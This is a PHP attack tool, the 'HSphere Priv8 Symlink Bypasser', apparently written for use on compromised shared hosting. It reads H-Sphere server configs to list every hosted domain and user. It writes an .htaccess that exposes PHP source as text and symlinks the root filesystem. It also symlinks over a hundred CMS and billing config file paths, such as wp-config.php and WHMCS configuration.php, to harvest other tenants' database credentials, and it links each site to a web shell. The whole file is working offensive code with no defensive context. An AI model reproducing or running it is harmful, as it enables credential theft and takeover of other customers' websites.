HSphere Priv8 Symlink Bypasser

<?php
//@error_reporting(0);
//@ini_set("display_errors", 0);
function scand( $path )
{
    if ( $d = scandir($path) )
    {
        return $d;
        echo 'scandir';
    }
    elseif ($handle = opendir('.')) {
        $d = array();
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $d[] = $entry;
            }
        }
        closedir($handle);
        return $d;
    }
    return false;
}
echo "<HTML>
<head>
<title>3Turr - Priv8 HsphereSym&Config bypasser</title>
<link rel='shortcut icon' type='image/x-icon' href='https://avatars1.githubusercontent.com/u/13343571?v=3&s=460'>
<style>
a:link {color:white;}
a:visited {color:red;}
a:hover {color:red;}
a:active {color:white;}
table tr:hover{background-color:#730000;}
table tr:hover{background-color:#730000;}
input { background-color:#222222; border-radius:7px; -moz-border-radius:10px; border-color:#00FFFF; width:100px; color:#00FFFF ;}

</style>

</head>
<body style='background-color:black;color:#00FFFF' ><center>
<h1>3<font style='color:red'>Turr</font> ~ Priv8 HsphereSym&Config bypasser </h1>
<a  target='_blank' href='http://turr.x10.mx/' >3Turr</a>
<form method=POST><input type=submit name=priv9config value=GrapConfigs /></form>
<hr>
<table border='1' style='border-color:red;'>
<tr>
<td>SITE</td>
<td>USER</td>
<td>SYMLINK</td>
<td>SH3LL</td>
</tr>";

@mkdir("TurrHSphere", 0777);
@chdir("TurrHSphere");
$htaccess = "#H-Sphere 3Turr Priv8
Options all
Options +Indexes
Options +FollowSymLinks
DirectoryIndex 3Turr.Priv8
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html";
file_put_contents(".htaccess", $htaccess);


$configs = array('/includes/configure.php', '/os/includes/configure.php', '/oscom/includes/configure.php', '/oscommerce/includes/configure.php', '/oscommerces/includes/configure.php', '/shop/includes/configure.php', '/shopping/includes/configure.php', '/sale/includes/configure.php', '/amember/config.TXT.php', '/config.TXT.php', '/members/configuration.php', '/config.php', '/forum/includes/config.php', '/forums/includes/config.php', '/admin/conf.php', '/admin/config.php', '/wp-config.php', '/wp/wp-config.php', '/WP/wp-config.php', '/wp/beta/wp-config.php', '/beta/wp-config.php', '/press/wp-config.php', '/wordpress/wp-config.php', '/Wordpress/wp-config.php', '/blog/wp-config.php', '/wordpress/beta/wp-config.php', '/news/wp-config.php', '/new/wp-config.php', '/blog/wp-config.php', '/beta/wp-config.php', '/blogs/wp-config.php', '/home/wp-config.php', '/protal/wp-config.php', '/site/wp-config.php', '/main/wp-config.php', '/test/wp-config.php', '/arcade/functions/dbclass.php', '/joomla/configuration.php', '/protal/configuration.php', '/joo/configuration.php', '/cms/configuration.php', '/site/configuration.php', '/main/configuration.php', '/news/configuration.php', '/new/configuration.php', '/home/configuration.php', '/vb/includes/config.php', '/vb3/includes/config.php', '/cc/includes/config.php', '/includes/config.php', '/configuration.php', '/includes/dist-configure.php', '/zencart/includes/dist-configure.php', '/shop/includes/dist-configure.php', '/Settings.php', '/smf/Settings.php', '/forum/Settings.php', '/forums/Settings.php', '/upload/includes/config.php', '/article/config.php', '/up/includes/config.php', '/conf_global.php', '/include/db.php', '/connect.php', '/mk_conf.php', '/includes/config.php', '/config.php', '/sites/default/settings.php', '/sites/default/dbconfig.php', '/member/configuration.php', '/supports/includes/iso4217.php', '/client/includes/iso4217.php', '/support/includes/iso4217.php', '/billing/includes/iso4217.php', '/billings/includes/iso4217.php', '/host/includes/iso4217.php', '/hosts/includes/iso4217.php', '/hosting/includes/iso4217.php', '/hostings/includes/iso4217.php', '/includes/iso4217.php', '/hostbills/includes/iso4217.php', '/hostbill/includes/iso4217.php', '/cart/configuration.php', '/hosting/configuration.php', '/buy/configuration.php', '/checkout/configuration.php', '/host/configuration.php', '/shop/configuration.php', '/shopping/configuration.php', '/sale/configuration.php', '/client/configuration.php', '/support/configuration.php', '/clientsupport/configuration.php', '/whm/whmcs/configuration.php', '/whm/WHMCS/configuration.php', '/whmc/WHM/configuration.php', '/whmcs/configuration.php', '/supp/configuration.php', '/secure/configuration.php', '/secure/whm/configuration.php', '/secure/whmcs/configuration.php', '/panel/configuration.php', '/hosts/configuration.php', '/submitticket.php', '/clients/configuration.php', '/clientes/configuration.php', '/cliente/configuration.php', '/billing/configuration.php', '/manage/configuration.php', '/my/configuration.php', '/myshop/configuration.php', '/billings/configuration.php', '/supports/configuration.php', '/auto/configuration.php', '/go/configuration.php', '/bill/configuration.php', '/payment/configuration.php', '/pay/configuration.php', '/purchase/configuration.php', '/clientarea/configuration.php', '/autobuy/configuration.php' );
$path = "/hsphere/local/config/httpd/sites/";
$files = scand($path);

if(isset($_POST['priv9config']))
{
    echo "<br><a style='size:18' target='_blank' href='./TurrHSphere/' >Priv8C0nFigs</a><br>";
}

@symlink('/', 'ROOT.php');
for( $i=2; $i<count($files);$i++ )
{
    $content = file_get_contents($path.$files[$i]);
    if ( preg_match( '/DocumentRoot(.*?)\\n.*?ServerName(.*?)\\n.*?Use UserGroup (.*?) /uis', $content, $m ) && !preg_match( '/\.bad/ui', $files[$i] ) )
    {
        $pwd = trim( $m[1] );
        $domain = trim( $m[2] );
        $user = trim( $m[3] );
        if(isset($_POST['priv9config']))
        {
            for($x=0;$x<count($configs);$x++ )
            {
                @symlink($pwd.'/'.$configs[$x], $user . '-'.rand(1,9999).'.TXT' );
            }
        }
        echo "<tr><td><a  target='_blank' href='http://".$domain."/' >".$domain."</a></td>".
        "<td>".$user."</td>".
        "<td><a  target='_blank' href='./TurrHSphere/ROOT.php".$pwd."' >SymLink</a></td>".
        "<td><a  target='_blank' href='./3Turr.php?c=".base64_encode($pwd)."' >Sh3ll</a></td></tr>";
    }
}

echo "</table>";